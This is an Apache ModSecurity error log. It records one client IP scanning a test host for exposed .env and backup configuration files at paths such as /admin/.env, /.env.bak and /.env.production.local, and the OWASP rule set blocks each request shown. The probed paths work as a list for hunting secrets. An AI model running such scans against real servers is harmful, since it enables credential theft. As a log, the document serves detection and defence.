[Thu Mar 05 21:15:39.254685 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDwAAAAU"]
[Thu Mar 05 21:15:39.254846 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDwAAAAU"]
[Thu Mar 05 21:15:39.255000 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDwAAAAU"]
[Thu Mar 05 21:15:39.431024 2026] [:error] [pid 2501061] [client 195.178.110.34:33054] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aankaw2oE8rlT9GFMnsO9wAAABU"]
[Thu Mar 05 21:15:39.431188 2026] [:error] [pid 2501061] [client 195.178.110.34:33054] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aankaw2oE8rlT9GFMnsO9wAAABU"]
[Thu Mar 05 21:15:39.431305 2026] [:error] [pid 2501061] [client 195.178.110.34:33054] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aankaw2oE8rlT9GFMnsO9wAAABU"]
[Thu Mar 05 21:15:39.653458 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aankayf6tWF5Jdx0cZJo6wAAABY"]
[Thu Mar 05 21:15:39.653630 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aankayf6tWF5Jdx0cZJo6wAAABY"]
[Thu Mar 05 21:15:39.653797 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aankayf6tWF5Jdx0cZJo6wAAABY"]
[Thu Mar 05 21:15:39.745177 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aankayf6tWF5Jdx0cZJo7AAAABY"]
[Thu Mar 05 21:15:39.745374 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aankayf6tWF5Jdx0cZJo7AAAABY"]
[Thu Mar 05 21:15:39.745527 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aankayf6tWF5Jdx0cZJo7AAAABY"]
[Thu Mar 05 21:15:39.878548 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aankayf6tWF5Jdx0cZJo7QAAABY"]
[Thu Mar 05 21:15:39.878643 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aankayf6tWF5Jdx0cZJo7QAAABY"]
[Thu Mar 05 21:15:39.878783 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aankayf6tWF5Jdx0cZJo7QAAABY"]
[Thu Mar 05 21:15:39.878960 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aankayf6tWF5Jdx0cZJo7QAAABY"]
[Thu Mar 05 21:15:42.134287 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aankbif6tWF5Jdx0cZJo8QAAABY"]
[Thu Mar 05 21:15:42.134483 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aankbif6tWF5Jdx0cZJo8QAAABY"]
[Thu Mar 05 21:15:42.134630 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aankbif6tWF5Jdx0cZJo8QAAABY"]
[Thu Mar 05 21:15:42.241994 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aankbif6tWF5Jdx0cZJo8gAAABY"]
[Thu Mar 05 21:15:42.242157 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aankbif6tWF5Jdx0cZJo8gAAABY"]
[Thu Mar 05 21:15:42.242320 2026] [:error] [pid 2501062] [client 195.178.110.34:33058] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aankbif6tWF5Jdx0cZJo8gAAABY"]
[Thu Mar 05 21:15:42.972799 2026] [:error] [pid 2501122] [client 195.178.110.34:33072] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aankbkrKBgqB15Q9cFZNhQAAAAA"]
[Thu Mar 05 21:15:42.973516 2026] [:error] [pid 2501122] [client 195.178.110.34:33072] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aankbkrKBgqB15Q9cFZNhQAAAAA"]
[Thu Mar 05 21:15:42.973638 2026] [:error] [pid 2501122] [client 195.178.110.34:33072] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aankbkrKBgqB15Q9cFZNhQAAAAA"]
[Thu Mar 05 21:15:43.274142 2026] [:error] [pid 2501099] [client 195.178.110.34:41032] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aankb8BL1J2NaTYoyShm-wAAAAQ"]
[Thu Mar 05 21:15:43.274305 2026] [:error] [pid 2501099] [client 195.178.110.34:41032] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aankb8BL1J2NaTYoyShm-wAAAAQ"]
[Thu Mar 05 21:15:43.274456 2026] [:error] [pid 2501099] [client 195.178.110.34:41032] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aankb8BL1J2NaTYoyShm-wAAAAQ"]
[Thu Mar 05 21:15:43.854319 2026] [:error] [pid 2501124] [client 195.178.110.34:41038] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aankb2hZp5ATR8pcBBwonQAAAAo"]
[Thu Mar 05 21:15:43.854513 2026] [:error] [pid 2501124] [client 195.178.110.34:41038] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aankb2hZp5ATR8pcBBwonQAAAAo"]
[Thu Mar 05 21:15:43.854648 2026] [:error] [pid 2501124] [client 195.178.110.34:41038] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aankb2hZp5ATR8pcBBwonQAAAAo"]
[Thu Mar 05 21:15:44.563155 2026] [:error] [pid 2501123] [client 195.178.110.34:41054] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aankcH-5cD4lZ86aCmtRpgAAAAc"]
[Thu Mar 05 21:15:44.563314 2026] [:error] [pid 2501123] [client 195.178.110.34:41054] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aankcH-5cD4lZ86aCmtRpgAAAAc"]
[Thu Mar 05 21:15:44.563482 2026] [:error] [pid 2501123] [client 195.178.110.34:41054] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aankcH-5cD4lZ86aCmtRpgAAAAc"]
[Thu Mar 05 21:15:45.150421 2026] [:error] [pid 2503880] [client 195.178.110.34:41062] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aankcRHtoywXcSe8_1t0dwAAAAY"]
[Thu Mar 05 21:15:45.150623 2026] [:error] [pid 2503880] [client 195.178.110.34:41062] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aankcRHtoywXcSe8_1t0dwAAAAY"]
[Thu Mar 05 21:15:45.150800 2026] [:error] [pid 2503880] [client 195.178.110.34:41062] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aankcRHtoywXcSe8_1t0dwAAAAY"]
[Thu Mar 05 21:15:46.622034 2026] [:error] [pid 2503880] [client 195.178.110.34:41062] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aankchHtoywXcSe8_1t0eAAAAAY"]
[Thu Mar 05 21:15:46.622216 2026] [:error] [pid 2503880] [client 195.178.110.34:41062] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aankchHtoywXcSe8_1t0eAAAAAY"]
